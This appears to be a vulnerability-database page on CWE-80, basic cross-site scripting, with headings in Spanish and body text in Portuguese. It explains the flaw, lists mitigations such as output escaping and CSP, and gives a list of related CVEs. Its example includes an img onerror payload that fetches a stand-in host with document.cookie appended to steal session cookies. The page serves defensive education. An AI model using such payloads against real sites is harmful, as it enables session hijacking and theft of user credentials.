Fallos del tipo CWE-80

646 resultados

Falta de neutralização de tags HTML relacionadas a scripts (XSS básico)

Quando uma aplicação web recebe dados do usuário e os insere diretamente no HTML da página sem sanitização ou escapamento, um atacante consegue injetar tags e scripts maliciosos que executam no navegador de outros usuários. É um dos tipos mais comuns de XSS (Cross-Site Scripting) e permite roubo de sessão, credenciais ou redirecionamento para sites maliciosos.

Ejemplo

Um formulário de busca que mostra o termo pesquisado na página sem validação: se o usuário entra <script>alert('xss')</script>, o script executa. Ou um campo de comentário que exibe <img src=x onerror='fetch(malicious.com?cookie='+document.cookie+')'>, roubando o cookie da sessão.

Cómo mitigar

Sempre escapar/encodar saídas HTML (ex: converter < para &lt;, > para &gt;), usar Content Security Policy (CSP) nos headers HTTP, e validar/sanitizar entrada no servidor. Em JavaScript, prefira textContent no lugar de innerHTML quando possível; em frameworks, use templating seguro (React, Vue escapam por padrão).

CVE-2020-26067MEDIUMCisco Webex Teams Web Interface Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2020-2502—Cross-site Scripting Vulnerability in Photo StationEPSS 0.8%CVE-2024-31062MEDIUMCross Site Scripting vulnerability in Insurance Mangement System v.1.0.0 and before allows a remote attacker to execute arbitrary code via tEPSS 0.8%CVE-2024-10592MEDIUMMapster WP Maps <= 1.6.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.8%CVE-2023-3971HIGHController: html injection in custom login infoEPSS 0.8%CVE-2023-34354LOWA stored cross-site scripting (XSS) vulnerability exists in the upload_brand.cgi functionality of peplink Surf SOHO HW1 v6.3.5 (in QEMU). A EPSS 0.8%CVE-2021-1351MEDIUMCisco Webex Meetings Cross-Site Scripting VulnerabilityEPSS 0.8%CVE-2020-12811MEDIUMA improper neutralization of script-related html tags in a web page (basic xss) vulnerability in Fortinet may allow attacker to execute unaEPSS 0.8%CVE-2025-55672MEDIUMApache Superset: Stored XSS on charts metadataEPSS 0.8%CVE-2026-73237MEDIUMApache Allura: XSS in markdown pipelineEPSS 0.8%CVE-2026-73238MEDIUMApache Allura: XSS in code displayEPSS 0.8%CVE-2025-54057MEDIUMApache SkyWalking: Stored XSS vulnerabilityEPSS 0.8%CVE-2019-10933—A vulnerability has been identified in Spectrum Power 3 (Corporate User Interface) (All versions <= v3.11), Spectrum Power 4 (Corporate UserEPSS 0.8%CVE-2020-2503CRITICALStored cross-site scripting vulnerability in QESEPSS 0.8%CVE-2020-7579—A vulnerability has been identified in Spectrum Power™ 5 (All versions < v5.50 HF02). The web server could allow Cross-Site Scripting (XSS) EPSS 0.8%CVE-2017-20026MEDIUMHumHub Reflected cross site scritingEPSS 0.8%CVE-2018-19942—Cross-site Scripting Vulnerability in File StationEPSS 0.8%CVE-2006-0149MEDIUMCross-site scripting (XSS) vulnerability in SimpBook 1.0, with html_enable on (the default), allows remote attackers to inject arbitrary webEPSS 0.8%CVE-2022-39240MEDIUMImproper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) in MyGraphEPSS 0.8%CVE-2018-19951—If exploited, this cross-site scripting vulnerability could allow remote attackers to inject malicious code. This issue affects: QNAP SystemEPSS 0.8%